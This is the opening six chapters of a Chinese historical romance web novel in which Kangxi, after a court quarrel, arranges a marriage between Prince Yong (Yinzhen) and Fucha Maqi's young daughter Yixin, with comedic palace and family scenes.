《阿玛打赢康熙后,我嫁给了雍亲王》 第1章还是硬不起来吗? 康熙手肘撂在折子上,眼花缭乱的字迹让他心口窝无名火,胸膛前金龙起起伏伏,将砚台砸到青石砖上。 御前宫女太监跪了一地。 “万岁爷息怒。” 梁九功苦不堪言,乾清宫近日水深火热,万岁爷处处不如意。 前阵子在朝堂上,万岁爷意欲复立废太子,马齐坚持进言八爷堪为储君。 万岁爷跟马齐大人大打出手,更骇人听闻的是,万岁爷还打输了,龙袍掩盖着肩膀上青一块紫一块。 好不容易有件高兴事,五爷府上刚得了个小格格,万岁爷听到喜讯又联想到雍亲王的陈年旧疾,骤然不愉。 四皇子雍亲王端方持重,堪当大任,就是…绝嗣。 随着四爷年岁渐长,朝堂锋芒毕露,世人能攻讦只剩子嗣之事。 也对,四皇子二十有六,年初又得封亲王爵位,想要什么样的女人没有,怎么后宅就几个德妃娘娘硬塞过去的通房,没有子嗣。 太医如何诊治都是“无恙”。 偏生雍亲王就说硬不起来。 他这个太监都理解不了。 “息怒?如今都传成什么样了?”康熙胸膛起伏,“老四呢?” “哎呦,万岁爷,王爷在户部当差呢。”梁九功斟茶,弯着腰递过去,“王爷是天潢贵胄,许是庸脂俗粉看不上眼,您宽心着。” 梁九功这话都翻来覆去说了十来年了,从最初皇子十四岁安排暖床宫女,四爷就厌恶至极,他还能劝劝万岁爷,如今这话他劝着都亏心。 王爷不会真喜欢男的吧? 万岁爷怒火攻心并非无的放矢,实在是坊间传闻过于复杂。 从一开始四爷龙阳之好,到如今,竟是说万岁爷忌惮四爷威胁太子地位,给四爷下药绝嗣,又不许他娶母族煊赫的八旗格格。 什么乱七八糟的。 难道要万岁爷屈尊解释? “朕每年给他赐多少女人他都拒之门外,还庸脂俗粉看不上,他配天仙啊!让他滚来见朕!” 康熙心头一摞糟麻,胤礽行事荒唐,私藏亵玩男伶人,胤禛又不近女色,近日富察马齐这个老东西还上蹿下跳站队老八,他朝堂动气踹他两脚,马齐竟然还手! 那个莽夫还敢打赢他? 他甚至没心情深究马齐掺和老八之事,昨夜召嫔妃侍寝后思忖半晌只轻叹一声,朕是不是老了。 他至今都记得小宫嫔诚惶诚恐面色惨白模样。 小太监帽间红穗轻颤,低着头,小步挪进来,毕恭毕敬挪到梁九功身旁轻声耳语。 梁九功面色复杂。 伏低身子。 “万岁爷,马齐大人负荆请罪,正在乾清宫匾额下跪着呢。您看……” 康熙丹凤眼锋利万般,怒而起身,明黄色的龙袍在骄阳下泛着粼粼波光,咬牙冷哼一声。 “斩立决吧!” 梁九功笑着打个哈哈,弯腰烹茶毕恭毕敬又端上一盏,状似无意递给小太监一个眼神,让他好好安置马齐大人,别出了什么差错。 笑话,满洲镶黄旗富察马齐历任左都御史、兵部尚书、户部尚书、武英殿大学士、保和殿大学士、太子太保。 敢和万岁爷动手,自然就能全身而退。 况且,万岁爷和马齐大人还有私交,马齐站队八爷做得过了,风波过去不耽误重用的。 康熙端坐龙椅,丹凤眼眯着冷瞥刻漏,不紧不慢饮尽两盏茶才慢条斯理吩咐:“让他滚进来,朕倒要听听那莽夫如何狡辩。” 富察马齐凝视着乾清宫对联,官服擦了擦额角汗珠,他真不能跟八爷掺和了,皇上以暴力荒淫为由废太子欲反悔复立,他操之过急以为皇上意属八爷…… “奴才该死!” 富察马齐长相刚正憨厚,脊背宽阔,一副疏狂莽撞模样,进殿就跪,一点不拖泥带水。 “罪臣富察马齐,给皇上请安。” 康熙抬眼,突然就有兴致批奏章了。 马齐跪着喋喋不休道歉,从年岁渐长心力不济,遭受奸人挑唆,到皇恩浩荡,皇上龙马精神宽容待下,正值壮年。 马齐余光看着康熙,只见他听到“正值壮年”时眉心舒展,手握羊毫又见挥斥方遒的意气,揣摩他爱听什么,自然扬面话如滔滔江水。 康熙冷哼一声。 差不多得了,停职两年长长教训再任用便是了,总不能真把马齐宰了。 他清楚,最大的糟心事出在他的儿子们之间,胤礽暴力荒淫,老八奸柔成性觊觎储君之位… 老四…近年来最得他心意,不争不抢的,偏偏性子冷淡又无子无后,让他如鲠在喉。 这时,梁九功毕恭毕敬上前,俯身低声说:“皇上,雍亲王求见…” 康熙又是一股无名火,腾地将奏章推到一旁,“让他滚进来!” 马齐一怔,刚哄好,怎么又生气了? 谁又惹到他了? 殿门处昂首阔步进来一男人,身着雾蓝色亲王蟒袍,面容冷峻而无须,冷淡桃花眼在君父面前恭敬低垂,腕间佛珠随着撩袍跪地细碎轻撞着手腕冷白骨节。 “儿子给皇阿玛请安。”他随着低沉声音恭敬俯首。 余光瞥一眼富察马齐,看到马齐膝头绑着粉色护膝,唇边溢出轻嗤。 “你还有脸给朕请安?” 胤禛无奈。 左不过就是那些事,总归不是政事。 “儿臣知错。” “错?朕才是错!胤祺刚得的格格,你可见过了?” “嗯。” 刚办完满月礼,康熙四十七年为数不多喜事,连皇阿玛亲自赐名赏礼。 康熙脾气暴,登基四十几年,胆敢忤逆犯上的人今日都在殿内跪着。 一个朝堂动武,一个无后不孝。 “坊间传闻你惯爱男风,龙阳不举,你怎么看?” “儿子不在意。” “老子在意!” 民间风言风语,直指他偏袒胤礽打压胤禛,不许他娶高门贵女,甚至胡扯他寻得秘药让胤禛绝嗣,他是冷血帝王不假,他又不是畜牲! 朝堂纵横捭阖,他平衡朝野,养子如狼磨砺太子,却还不屑将手伸到儿子们后宅里,况且,他亦是对胤禛寄予厚望,如何能心狠手辣。 马齐噤若寒蝉,沉默交给存在感,甚至跪着往雍亲王身后蹭两步。 老子教育儿子,可别刮蹭到富察氏一族。 (注:宝宝宝宝宝们,本书不是史记,九子夺嫡年龄均减小六岁。) (注:因胤禛无妻和夺嫡私设引起蝴蝶效应较多,一切与正史不同,皆为私设。) (注:本文本意在于做出香香的饭,可以换饭馆,不要骂厨子,也不要去后厨指导厨子炒菜。) (加个书架,爱胤禛和仪欣~) 第2章朕以德报怨,咱们结个亲家 他是八爷党,八爷同四爷不合,人尽皆知。 皇子无嗣,便绝了承袭大统可能。太子被废,雍亲王无后,他心安理得站位八爷储君之位,朝野之上,同四爷斗得势如水火。 康熙不管跪地的马齐,地地道道一出“堂前教子”,将胤禛骂得狗血淋头。 从无后不孝,到冷面寡恩。 从始至终,胤禛骂不还口,不辩解只剩一句话,“儿臣知错。” “你真不娶妻?”康熙瞪眼,就胤禛这个绝嗣名声,如今上三旗格格哪个不是避如蛇蝎。 “儿臣知错。” 胤禛见御前侍茶宫女端着茶盏踌躇不前,垂眸弯唇笑一下,后退自顾自起身接过茶盏,轻声劝一句,“皇阿玛息怒。” 富察马齐都有点想笑,若是他儿子二十六岁不娶妻生子,身边连个女人都没有,他就抄起棍子打死他清理门户。 正幸灾乐祸,胤禛手腕一抖一盏茶齐刷刷泼在马齐膝头。 “啊!” 滚烫的茶,马齐猝不及防起身。 胤禛更快。 两指矜贵挑起马齐的衣袍,轻声问,“马齐大人没事吧?” 又道歉,“是本王冒失了。” “富察马齐!”康熙三两步走上前来,一脚踹在他的膝头。 “你来给朕负荆请罪,还要绑着护膝?!” 胤禛垂眸轻笑,后退两步,祸水东引,看着皇上和马齐鸡飞狗跳。 富察马齐的膝头赫然是一副粉色护膝,鼓鼓囊囊的,还绣着歪歪扭扭的云纹,孤零零绑在膝头,怪突兀的。 “奴才知错!” “错?朕要不跟你富察马齐认个错吧!” “奴才…奴才…”富察马齐心里犯苦,他一个糙男人,入宫请罪跪几个时辰的事,奈何他有闺女疼他,没办法。 “哪来的护膝?!”康熙又踹两脚,恨不得他还手,御前侍卫就拿下他关进天牢。 说起护膝,富察马齐还是忍不住憨笑两声,解开揣进怀里,又跪下,“这是微臣幺女送给微臣的。皇上息怒。” 幺女。 康熙眸光微闪,这不就现成有个母族煊赫的沙济富察氏吗,他不动声色询问:“爱卿的女儿年岁几何?” “将满十四了。” 富察马齐伏地跪着,余光还能看到康熙在他面前思忖踱步到黑靴,只听到康熙低沉意有所指的声音,“爱卿,朕与你相识四十几年了吧。” “回皇上,四十七年。” “爱卿刚正不阿,近日做的事却让朕很失望啊。”康熙撩起衣袍坐在龙椅上。 这是要翻旧账。 “奴才该死。奴才任凭皇上处置!” “哦?结党营私,妄议储君之位;忤逆犯上,损伤龙体。胤禛,你怎么看?”康熙问。 胤禛眉头紧皱,刚刚听着皇上的话就在揣摩皇阿玛的心思,依照他对皇阿玛的了解,不该如此大罪才是。 停职,左迁? 总不会伤及性命。 可“忤逆犯上”“结党营私”此等罪名可是要见血的。 “皇阿玛宽仁,儿臣不敢妄言。”胤禛保守说。 马齐胸膛擂鼓阵阵,汗滴落到寒冰砖上,一月寒凉,寒冰砖的冷气钻到膝头,让他分外想念女儿的护膝。 雍亲王没有落井下石。 他心头微松,又苦笑一下,这次富察氏一族要被八爷坑惨了。 帝王似是而非的话语让马齐思绪天人交战,像是在绵绵不绝的春雨里浸着,浑身酸痛阴湿后,康熙开口。 “朕以德报怨,咱们结个亲家。” 亲家? 马齐错愕抬头。 他的三个儿子均已立业成家,只剩仪欣一个小女儿。 仪欣骄矜憨气,他们富察氏阳盛阴衰,仪欣又自小体弱多病,家中万般娇宠,那性子可不适合入皇家。 况且,十四阿哥和十七阿哥皆同仪欣年龄相仿,这…这都是风口浪尖的龙子皇孙。 不等马齐回复,康熙离开龙椅,亲自俯身要扶起马齐,笑着问:“朕之四子胤禛如何?” 雍亲王? 如何? 不如何! “皇上!雍亲王人品贵重,小女不敢高攀。”马齐急了。 他就算跪死在乾清宫,弃官归隐山林,也不愿仪欣嫁给雍亲王,就单纯绝嗣无后就不行。 “皇阿玛……”胤禛淡了神色,跪了下去。 康熙抬手指了指胤禛,警告意味十足。 接着,他拍了拍马齐的肩膀,龙头扳指硌得马齐肩膀疼。 康熙淡淡开口:“爱卿跪安吧,这是圣旨。” …… 乾清宫寂静无尘,御前奉茶宫女悄声将茶盏放在康熙和胤禛手边。 闲敲棋子。 胤禛沉默着落子。 “怎么?不满意?”康熙挑眉,“朕见过马齐幺女,娇憨漂亮,京城翻遍再无出其右者。” 胤禛握住腕间佛珠,在关键处落子,冷淡又无奈轻叹,“皇阿玛…沙济富察氏的嫡女还不满十四。” “嗯?你就是想找同你同龄又云英未嫁的,那也得有啊。” “儿臣并无此意。”他早就接受,他对女子并无一丝兴致,何必需要娶福晋。 “不还有两个月就满十四了吗?”康熙落子,“朕不追究马齐过错,在她生辰当日下旨赐婚,会给足她尊贵和体面。” “儿子求阿玛收回成命。” 他说“阿玛”而非“皇阿玛”,极尽孺慕哀求。 康熙指尖微顿,“吾儿胤禛,你自小端方持重,但生性孤独沉寂,命里缺个知冷知热的人。” 这些儿子里,除去胤礽,因着表妹孝懿仁皇后的缘故,他亲近最多的便是胤禛。 年长后,胤禛无妻无子,他忌惮儿子胤礽,却放心无欲无求的胤禛,相处许久,确实有父子真情。 胤禛诚恳说:“儿臣只想为皇阿玛分忧,为大清鞠躬尽瘁,哪日儿臣垂垂暮年,归隐寺庙,了此余生罢了。” 康熙感动万分,胤禛不争不抢,又赤诚纯孝,不善言谈讲得都是掏心掏肺的话。 “你…你的身体?” 胤禛缄默。 康熙不知又脑补什么拍了拍胤禛肩膀,吩咐留下胤禛召德妃一同在乾清宫用午膳。 …… 京城正月总是不暖和,富察氏府上愁云减淡,总算有些开春的迹象,万岁爷轻拿轻放朝堂忤逆之事,满洲上三旗沙济富察氏仍是门庭若市。 仪欣早产体弱,往年正月里都被拘着不能出门,如今哥哥们将她裹得成个球,纵着她轻依秋千,在檐下裹着斗篷玩雪。 她近日有些出奇幸福了。 只是阿玛不太幸福,不知怎么惹了额娘生气,被赶去睡书房四五日了。 第3章圣旨赐婚 富察府来了贵客。 万岁爷亲临马齐大人府上,一封圣旨将朝堂打得猝不及防。 皇上赐婚武英殿大学士富察马齐之女富察仪欣为雍亲王福晋,婚期定在三个月后。 八阿哥遭贬斥,太子废立未决,原八爷党富察府竟是和雍亲王绑在了一起。 这是闹得哪一出? 康熙喜好白龙鱼服,悠哉悠哉逛着富察府,后面恭恭敬敬跟着一群人,马齐陪在身侧,跟着在后花园闲逛。 仪欣穿着一身橘红色云纹旗装,兔毛领的袄子上绣着大片芍药花,因着怕冷还裹着狐裘大氅,一耳三钳戴着珍珠耳饰,长睫将杏眸勾勒得狭长,如同灵动懵懂的小狐狸。 跪地接旨后康熙点名让她陪着逛逛园子。 她这才知道额娘为什么将阿玛赶去睡书房。 原来是莫名其妙她嫁给四爷为嫡福晋了。 她…她其他事懵懂无知,就是街头巷尾八卦精通。 她前天和植宁去照春芳听小曲,还在鬼鬼祟祟和植宁打赌雍亲王不近女色,究竟是不是因为不能人道。 她打赌,是…… “爱卿竟能生出这般好颜色的女儿。” 康熙看一眼马齐身侧的仪欣,真是天仙一般娇憨可人,若是老四对这般绝色女子仍旧不温不热,那他没招了。 马齐心头泛酸,客气称不及皇上各位公主惊才绝艳。 心里却特别难受,昨夜福晋同他吵架,哭着说仪欣是她宁愿舍母保子都要留下的女儿,却要为了富察氏男人在朝堂上的错误收拾乱摊子。 若不是沙济富察氏如今正处在风口浪尖上,这赐婚,总是有商量的余地的。 仪欣裹了裹身上狐裘大氅,细微动静没有逃过康熙的眼睛。 阳春三月,怎么裹得这么严实。 康熙直言:“你可是身体不适?” 仪欣一怔,恭敬回复,“回万岁爷,臣女有些体弱,素来怕冷。” 康熙心头不愉快,思忖一下,身子骨这么差,怎么替皇家绵延子嗣。 然后,心口窝处有一道声音驳斥自己,你还是先管管你儿子胤禛能不能生吧。 康熙只“嗯”一声,吩咐一句,“朕吩咐太医来富察府为你调理。” “多谢万岁爷关怀小女。”马齐客气道。 康熙嗤笑一声,故意说,“爱卿,谁让咱们是亲家呢。” 亲家。 马齐顿时面如菜色。 梁九功在旁边侍奉着,小太监小碎步走上前来,低声耳语。 梁九功禀告:“万岁爷,四阿哥登门给富察格格送生辰礼了。” “亲自来的?”康熙挑眉。 “是,听说傅文大人已经去接了。”梁九功回复,心里哭笑不得,万岁爷您都亲自到了,四爷怎么可能只差遣下人送礼呢。 半刻钟后,仪欣在后花园曲水亭旁见到了那个男人。 墨蓝色亲王蟒袍在阳光下零碎有些星子般的光,男人身材高挑,剑眉星目桃花眼,目光淡漠又倦怠,腕间佛珠轻轻摩擦过冷白手背,递过来一个精致楠木捧盒。 “生辰快乐。”他的声音低沉不含起伏。 仪欣鼓了鼓腮帮子,垂着眸谢过,双手接过捧盒,再看周围已经没人,只剩下雍亲王和他随侍的太监。 “……” 其实,胤禛心里并不如面上那般风轻云淡,因为……他身体不自觉向左侧倾偏,替她挡住亭间穿堂风。 当他反应过来,只剩茫然。 他的视线轻轻触碰一下她的发顶,一缕道不明的情绪涨满胸膛。 来不及收回时,突然对上她抬头投过来的目光。 “你笑什么呢?”胤禛不自觉勾唇。 “你有点好看。”仪欣尾音不自觉打个弯,像小猫尾巴扫过心间似的,听着人心里软乎乎的。 胤禛一顿,接着又听她说,“和我前日在照春芳打赏的唱戏伶人一样好看。” 他沉默。 他从来没这么容易看透一个人,不用揣测试探,单纯得出结论,富察氏脑子应该不太好使。 “不要跟旁人这样说,好吗?”他说。 仪欣混不吝,娇憨问:“因为你会醋吗?” 胤禛扯了扯唇角,摇摇头,我不会醋,只是怕你会挨揍罢了。 两个人只说了三两句话,富察傅文的身影在假山后踱步而来,儒雅温文,“王爷安好,可否书房一叙?” “自然。”胤禛示意引路。 仪欣追上去两步,前前后后问:“大哥,你用膳了吗?哥哥们用膳了吗?” “小九,我们用过午膳了,你认真吃饭,可以吗?”傅文温声叮嘱一句。 “可以。”仪欣乖巧回复。 胤禛散漫看她一眼,收回目光。 书房里。 胤禛一进门,书房里男人纷纷起身正衣冠。 “给王爷请安。” “嗯。”胤禛点点头,自顾自撩袍坐到主位,淡漠看着书房里十来个富察氏同辈男人落座,他倒是想不通还有这一天。 她的宗族兄弟应是齐聚一堂了。 富察氏阳盛阴衰名不虚传。 “王爷,”富察傅文跪坐煮茶,笑面狐狸般亲自为胤禛奉茶,“臣的妹妹,就托付给王爷了。” 胤禛没有接,目光扫过虎视眈眈盯着他的男人们,跟他先礼后兵鸿门宴,不好使。 托付妹妹,他们可不该是这个态度,他爱新觉罗胤禛不是被吓大的。 马齐站队老八在朝堂同他水火不容,他自觉不是以德报怨的人。 傅文不恼,轻笑一声,重新斟两盏茶,示意两个叔父的嫡长子也上前来。 富察傅文,富察傅裕,富察傅清端着茶奉上。 富察傅文温和说:“从前朝堂之事,富察氏多有得罪,王爷担待。” “微臣无法做主阿玛的事,但作为富察氏的嫡长子,还是能替自己和弟弟们做主。” 这是投诚。 “小九心思单纯,王爷余生多担待,若是有些不能担待的地方,微臣会接回来自己管教。” 这是威胁和底线。 胤禛挑眉,不知名的情绪销声匿迹后,抬腕接过富察傅文的茶抿一口,戴着佛珠的手腕压下傅裕傅清端着茶盏的手。 “她是我的嫡妻。” 富察傅辙听着“我的嫡妻”心里就不好受,尤其是雍亲王“我的”二字在嘴里含着,齿贝轻咬再缓缓吐出来。 傅辙是仪欣一母同胞的三哥,比仪欣大七岁,想到背着抱着仪欣长大的日子,他眼眶乍然就红了。 “小九很好的,王爷不能欺负她。” 第4章胤礽复立太子。 他本就是沉默寡言之人,比起空泛漫天许诺,他更愿意去做实际的事情。 其实,他清楚富察府的心虚,他和老八关系势如水火,马齐支持老八,在政见上同他的主张相去甚远,多次弹劾他与废太子胤礽。 他既无佛性悲悯,又不仁慈博爱。 只是,他也并无迁怒无辜女子的想法,朝堂上的事情便该男人在朝堂上解决,她在富察府上有怎么样的生活,他在雍亲王府给她的只会更多,不会减损。 “王爷宽仁。”傅辙拱手。 胤禛抬手示意他们止住客套。 在书房留了半个时辰,听着她的哥哥们聊天叙话。 富察氏一族并非浪得虚名,只看马武幼子傅格六岁不卑不怯言之有物,便可见一斑。 …… 永和宫。 德妃得到赐婚消息,芙蓉面稳不住端庄温柔神情,张了张口重复问一遍:“富察马齐的女儿许给了谁?” “四阿哥。”贴身丫鬟轻声回复。 “不是本宫的十四阿哥吗?” “……” “万岁爷这是什么意思?”德妃攥紧手帕,护甲在掌心留下深深的痕迹,“胤禛和富察格格相差十二岁,况且,他又是那种名声,怎么还会跟老十四抢?” 老十四刚满十六,府中只有两个侧福晋和几位侍妾格格,她一直斟酌想为他挑一位身份尊贵四角齐全的福晋,她最满意的就是富察马齐的女儿。 马齐是八阿哥一派,老十四又同老八交好,如今老八倒台,若是老十四娶了富察氏的女儿,那名正言顺接手老八的势力人脉,再合适不过。 她猛然想起。 几日前,胤禛和老十四一同在永和宫陪她用膳。 她不避讳地提起为老十四选福晋的事情,顺其自然提起满意的富察氏和较为满意的钮祜禄氏,老十四高兴地说他也更钟意富察氏。 胤禛似笑非笑的神情如今浮现在她的眼前,她还记得他慢条斯理的话,“额娘,这也得看缘分,不是吗?” “养不熟!养不熟!”德妃气得面容扭曲,反手拂落矮案的茶盏书卷,“他连个女人都要跟他弟弟抢!” “娘娘慎言!”贴身丫鬟大惊失色,目光示意殿内一众宫女太监退下,缓步关上殿门劝慰起来。 …… 万籁俱寂。 胤禛将衣袍搭在一旁,沐浴更衣后倚在榻上读佛经,碧绿色佛珠有条不紊划过指尖骨节。 雍亲王府空旷无比,只有他一个人,沉在夜深人静的水底。 喉咙干渴,他摸了摸颈间喉结,没有唤苏培盛,反而吐出一个名字。 “夏刈。” 一道神出鬼没的声音隔着窗棂传来。 “王爷。” 胤禛揉了揉眉心,抿唇吩咐:“给富察府传密信,明日早朝,本王会同张廷玉奏请皇阿玛复立胤礽为太子。这是皇阿玛的心意,让富察氏一族跟随本王上奏,莫要优柔寡断。” “是。” 藏拙,固元。 诚孝,兄友弟恭。 第二日早朝。 雍亲王奏请皇上复立胤礽为太子,悉数废太子功绩和对兄长胤礽的敬仰之情,张廷玉和富察马齐紧随其后,复议雍亲王。 康熙从龙椅上起身,站在跪着的胤禛面前,递出去一只手。 胤禛缓缓抬头,孺慕腼腆看着皇阿玛,将未戴佛珠的手搭在康熙手上。 康熙用力将胤禛拉起来,慈爱拍了拍他的肩膀。 只有皇四子胤禛,最得他心。 康熙当即复立胤礽为太子,解除禁足。 康熙四十八年,胤礽再度成为皇太子。 三阿哥胤祉、五阿哥胤祺被封为亲王。 七阿哥、十阿哥被封为郡王,九阿哥、十二阿哥、十四阿哥被封为贝勒。 而胤禩,由于已经引起康熙的反感,没有得到擢升,依然是贝勒爵位。 退朝后,胤禛走下太和殿青石阶,心中微微冷笑,皇阿玛这帝王之术还是太炉火纯青,复立太子,又作壁上观提拔其余兄弟去制衡太子,哦,或许,也制衡他。 他的背后有佟佳氏,又添沙济富察氏,实在显眼。 山雨欲来的飘摇感并没有影响到待嫁的仪欣,她眼中的京城自是人间三月,最恼人的事情便是满城风絮,柳絮盈身,她总是喉咙不太舒服。 闺中好友西林觉罗植宁来富察府陪她说话。 礼部前日下聘,聘礼单子丰厚得令人咋舌。亲王规格聘礼暂且不提,就看万岁爷私下添补便让人惊羡。 仪欣不用亲自绣凤冠霞帔,现在正百无聊赖拄着脑袋看额娘送来的账本。 植宁在一旁剥核桃,把小碟推过去,笑着说,“仪欣,别愁眉苦脸的。” 仪欣窝在美人榻上,使劲蹭着植宁,叫苦连天说,“我自小学东西就好慢,账本上叽里咕噜的字看得眼花缭乱的。” 植宁风风火火将一块牛乳糕塞在她嘴里,“你学东西根本不慢,只是开蒙晚,又因为身体不好时常缺课。” 植宁是礼部尚书的女儿,西林觉罗家长房嫡女,也是仪欣大嫂的堂妹,两个人一同长大。 “植宁,我没想嫁人。”仪欣撒娇蹭蹭蹭。 其实,还是会有一点点担忧和害怕,她没和雍亲王相处过,却听过他清冷淡漠的性格,近乡情怯也好,年幼无知也罢,反正,就是害怕。 她这话可不敢跟家中人讲,额娘会倏地红了眼眶,兄长们会特别愧疚看着她,阿玛和叔父那违抗圣旨的决心喧嚣尘上。 还是别惹事了。 “快来,我跟你讲,”植宁凑到仪欣耳边,低声耳语,“你不觉得…让莫雅琪叫你四婶婶很爽吗?” 仪欣眼眸一亮,虎视眈眈盯着账本,立马坐直身子,爽!学!这就学! 如果说她富察仪欣最讨厌谁,那非乌拉那拉莫雅琪莫属,莫雅琪早早订下同皇长孙弘皙的婚事,高高在上摆谱皇长孙媳一年多。 “还有啊……”植宁神秘莫测。 “还有?” “三百两银子的赌约。” “啊!你不许说,你闭嘴!” 谁能想到鬼鬼祟祟打赌的时候,那个人能三日后就赐婚成为她的夫君呢。 第5章是谁这么不懂长幼尊卑? 府上没有分家,阿玛是大房,她有三个嫡亲兄长,均已成家立业,还有两个庶出的弟弟。 仪欣是大房唯一的女儿,马武叔父所在的二房也只有一个女儿,家中行五,五姐姐四年前嫁给了十二阿哥为福晋;三房李荣保叔父还有一个小女儿,叫琅嬅,才八岁。 她自小体弱多病,听额娘说,她是早产,那年很冷,三月份冰雪尚未消融,额娘患了严重的风寒,挨到七个月喝了催产药,千叮咛万嘱咐阿玛若有不测舍母保子,才将她生出来。 额娘说,她生出来瘦的跟猫儿一样,前几个月的时候连哭都是有气无力的呜咽声,阿玛额娘捧着抱着哄着将她养大。 富察氏一族有个学堂,专供他们读书,不拘嫡庶男女,也有姻亲家中同辈来读书。 她开蒙晚,因着身子弱冬日和换季时不去学堂读书,有时候和兄弟姐妹差太多,渐渐她耍性子学习十分倦怠。 阿玛额娘极其关注和溺爱,额娘把所有的时间和精力都留存在为她打算上,爱到甚至让她有些愧疚感。 她生病难受,阿玛额娘情绪忧心如焚,让她愧疚。 “仪欣,额娘送来的账册可都看了?”钮祜禄氏温婉走进来,“植宁用些桃花酥。” 跟着的丫鬟端着捧盒里端出两碟糕点。 “姨母疼我。”植宁笑盈盈捏起一块桃花酥。 仪欣熟练钻到钮祜禄氏怀里,乖巧说:“额娘,我都看完了。” “仪欣最懂事,最聪明。”钮祜禄氏摸摸她的头,温声问她想用什么晚膳,笑着说留植宁一同用晚膳。 “额娘,我可以和植宁一起去春意楼用晚膳吗?”仪欣眼巴巴看着钮祜禄氏。 钮祜禄氏沉默一会想拒绝,又微微叹息,转而.答应。 在家中做格格时若是不能自在些,她的仪欣嫁到王府可要怎么办? 仪欣喜欢出门,阿玛额娘总是拘着她,她一个月也不能出去玩一次,这两个月才能有得商量。 春意楼号称京城第一酒楼,达官贵人偏爱至极,天字房包厢不常有,若是在一楼用膳,她们又不自在。 仪欣提前派遣小厮去订个天字房。 春意楼。 仪欣穿着一身淡粉色旗装,浅黄色袄子上绣着雏菊,因着黄昏凉些,还裹着一件浅黄色披风,娇憨惬意挽着植宁的胳膊。 植宁是飒爽美人,身上带着满洲格格气韵,眉眼锋利干脆,穿得单薄深绿色旗装,和仪欣挽着手像是两个季节的装扮。 两个人刚入春意楼,就见到小厮在门口张望徘徊。 仪欣蹙眉:“这是怎么了?” 小厮当即就想跪下,被仪欣拦住。 “奴才该死,没做好格格交代的事情。春意楼只剩一间天字房,奴才先到,却被乌拉那拉格格抢了去。” “格格,真的是奴才先到的。” 莫雅琪,冤家路窄。 植宁冷笑开口:“她向来荤素不忌,什么都抢。” 仪欣摆摆手让小厮退下。 西边天际晕染着橘红色火烧云,她和植宁路上还在商量着晚膳要不要吃春意楼的蟹枳含贝和蜜瓜仙茶,好心情被泼了一碗醋,谁能忍? 身后传来娇俏惊诧的声音,“呦,富察格格。” 仪欣上前一步,唇角微扬,脸上却不见什么笑意,“原来是恭亲王府三格格。今儿倒是罕见遇上了。” 三格格心虚后退一步,笑着说:“莫雅琪约了本格格用膳,改天咱们再叙话。” 仪欣弯了弯眼睛,挽着植宁耸耸肩,“巧了吗这不,她也约了我,你带路。” 三格格瞠目结舌。 站在天字房前。 “富察仪欣,那什么东西比得过我?从前三天打鱼两天晒网那个读书劲儿,绣花枕头一包草,她也就托生在富察氏,如果托生在我阿玛侧室的腹中,看我怎么教训她。” 仪欣倚着门框,露出个意味深长的笑。 植宁抬腿就将房门踹开了,笑着说:“又显摆自己怎么磋磨庶妹呢?” 三格格想开口提醒,只讪笑两声。 莫雅琪吓一激灵,转身骂一句:“西林觉罗植宁,你还有没有规矩?这是我的包房。” 仪欣溜达进去,纳闷说:“你的包房?还没点菜吧?没点菜滚出去。” 天字房布置的春意盎然,镂花窗一览京城八大街盛景,窗边挂着两只暖黄色兔儿灯,楠木圆桌上只有两个茶盏,莫雅琪的庶妹站在角落里,忐忑冲着仪欣笑笑。 “你!你欺人太甚!”莫雅琪指着仪欣,傲慢睨着她,“先来后到懂不懂?” “哦?本格格以为你不懂。”植宁嗤笑,看着唯唯诺诺角落里的白眼狼,又冷笑看着莫雅琪。 转眼包厢门口闹了起来,莫雅琪约了恭亲王孙女三格格和荣郡王的幺女一同用晚膳。 掌柜证明是富察府小厮先订下的包厢,仪欣含笑请她们离开,莫雅琪自恃皇长孙福晋,一步不让,当即拉扯起来。 “你懂不懂规矩?”莫雅琪大喊。 “你还有别的话吗?没有滚。”仪欣闲适坐在椅子上,还给自己斟一杯茶,又给植宁斟一杯。 莫雅琪转身看见什么,委屈迎上去。 仪欣看着那些格格们笑着给后面的人让出一条路来。 植宁沉默一瞬,原来是万岁爷最喜爱的孙子弘皙阿哥。 “谁敢跟你抢包厢?”略带少年气温和的声音传来。 “粗俗…她还骂我滚。”莫雅琪凑得近,抽泣着,“阿哥帮帮我。” “阿哥吉祥。”两位王府格格见礼。 “是谁这么不懂长幼尊卑?”弘皙接着问,“让侍卫赶出去,不要哭了。” 弘皙身后跟着两位公子,小厮丫鬟都让出一条路,恭谨极了。 “你们是谁家的格格,出去。”弘皙给身后太监一个眼神,示意他们把两个人拖出去。 仪欣随手一个茶盏摔到太监面前,“离我远点。” “你知不知道我是谁?”弘皙沉了脸色。 仪欣几乎不出门,京中露面极少,此时轻轻笑出声来,“你知不知道我是谁?” 第6章长幼尊卑是怎么算的? 弘皙面沉如水,打量着面前一身名贵衣衫娇憨漂亮的小格格,年岁不大,口气不小。 他爱新觉罗弘皙什么时候让人撂过面子,何况身侧还有他的未婚妻和朋友。 “我不管你是谁,离开,本阿哥不计较。” 身后太监闻言,上前拉扯植宁,仪欣踹倒圆凳,一个茶盏直接摔到弘皙面前。 晴云挡在仪欣身前。 “你懂不懂嫡庶尊卑?”弘皙呵斥一句,“拉出去,本阿哥把你们送到庄子上。” 莫雅琪在身后幸灾乐祸,富察仪欣纵使经万岁爷赐婚雍亲王,总归还没过门,她活该得罪皇长孙。 晴云护着仪欣应接不暇。 仪欣拉着植宁,咬牙推翻了天字间的镂花屏风,两步抬腕甩了面前小太监一巴掌。 “王爷。” 一位公子恭敬唤一声。 一切都静了下来。 胤禛在弘皙身后噙着笑意,若有所指轻飘飘问一句:“弘皙,告诉四叔,你是占嫡?占长?还是占尊?” 占嫡?占长?占尊? 弘皙猛地回身,赶紧行礼,“四叔。” 未曾迟疑赶紧认错,“是侄儿猖狂了。” 再抬头,阿玛三叔五叔和十三叔站在五步之外,他心里忐忑赶紧行礼问安。 闲杂人等一律屏退。 “王爷吉祥。” “太子殿下吉祥。” “……” 植宁扯了扯仪欣的衣袖,环顾周围满地狼籍,苦笑着行礼问安。 胤禛接过苏培盛递来的披风,怎么小小一只有使不完的力气呢?凶巴巴的,这么重的屏风怎么推倒的呢? 包厢一片狼藉,而她站在狼藉中央,明亮的眼睛望着他然后委屈垂下。 阳春三月还裹着袄子和鹅黄色斗篷,眼尾通红像是琉璃落在清茶里,水汪汪的。 像淋雨后湿漉漉的小猫。 “用膳了吗?”胤禛幽蓝色披风搭在小臂上,轻声询问。 仪欣恶狠狠嘟囔一声:“我气都气饱了!” 好了,小猫炸毛。 他闷闷笑出声来,抬眸睨了一眼弘皙,冷淡开口:“道歉。” 太子笑着走过来,圆扬说:“今日孤在春意楼请客,倒是让富察格格不愉快了,见谅。” 